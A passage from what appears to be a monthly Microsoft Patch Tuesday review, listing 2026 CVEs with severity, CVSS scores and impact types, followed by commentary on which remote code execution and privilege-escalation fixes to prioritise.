CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in 